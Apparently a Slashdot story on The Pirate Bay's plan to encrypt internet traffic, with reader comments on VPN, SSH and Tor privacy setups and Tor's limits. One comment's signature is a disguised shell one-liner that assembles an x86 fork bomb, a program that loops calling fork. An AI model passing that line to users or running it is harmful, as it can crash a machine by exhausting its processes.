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The Pirate Bay's Plans To Encrypt the 'Net
Keeper Of Keys writes "According to newteevee.com, The Pirate Bay, those fun- and freedom-loving Swedes, have embarked on a project to encrypt all internet traffic, probably by means of an OS-level wrapper around all network connections, which would fall back to an unencrypted connection when the other end is not similarly equipped. The move has been prompted by a recent change in Swedish law, allowing the authorities to snoop on network traffic. This will be a boon to filesharers and anyone else concerned about authorities and trade groups' recent moves towards 'policing' network traffic at the ISP level."
For over 2 years I have been encrypting my internet connection using a roll-my-own solution. I trust my ISP implicitly - they are one of the few good guys left in the ISP arena. I don't trust my government.
;)
The sad thing is I don't even have anything to hide. But I detest the idea that someone, somewhere, might be monitoring what I'm doing. I use an anonymous email service with PGP encryption, I do all my browsing over a VPN connection to a (cheap) VPS server in another country. For added protection I can then tunnel using SSH to another server in another country which then uses tor to make my final connection.
Security is cheap (the whole setup probably sets me back around $50/mo including my 8mbit dsl line), but it just requires the time, persistence and knowledge to set it up in the first place. If an end-to-end solution can be built-in to the OS AND we can be certain as can be there are no back doors, then this can only be a good thing.
For those who in the meantime who want to protect themselves but are not too sure where to begin, get yourself a cheap VPS (hundreds of providers out there), set up OpenVPN and off you go. You can even use SSH to tunnel a SOCKS connection for an easier option. I would suggest OpenVPN as a starting point though, as it makes it easier to expand later, e.g. tunneling an SSH connection to another server through the VPN, which can then connect to tor running on localhost on the second machine. Should your connection be intercepted at the ISP level (the most likely?) then they'll have a double-encrypted tunnel to deal with, and then probably an ssl-encrypted https stream inside that as well if you're careful about where you surf.
Anonymous Coward for obvious reasons
Won't work like that, I'm affraid.
When Finland started "Filtering the internet to protect the children" and among other sites filtered a website that criticized quality of the work that police was doing with the internet censoring it got difficult for me to get to that site by using TOR. Why? Because with so many tor servers in Finland it often took several extra reloads to get a server outside the borders of the censorship.
The last thing I want to do now is add more anonymous and uncontrolled hops, which could be to servers in countries that watch the traffic too closely or even ran by such governments. Every hop is an extra chance to MitM attack. Unless I first aquire the Public Key directly in which case anyone monitoring already knows what site I'll access to and makes TOR needless.
Or is there something I have missed?
Fine print: I work in internet advertising.
Makes you wonder what the internet would look like if you had real privacy actually. Hope you like /b/
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
TOR is not robust enough to handle P2P traffic. PLUS IT DOES NOT HIDE THE DATA YOU ARE TRANSFERRING. This plan by TPB is designed to encrypt the traffic. A separate TOR-like plan would be required to anonymize source/destination IP's. Or a third option that does both.
TOR was designed to help people remain anonymous and communicate safely on the web. Misusing it for illegal purposes will cause TOR to become unavailable for its original purpose, which will be sad.
TANSTAAFL GIGO Acronyms to live by!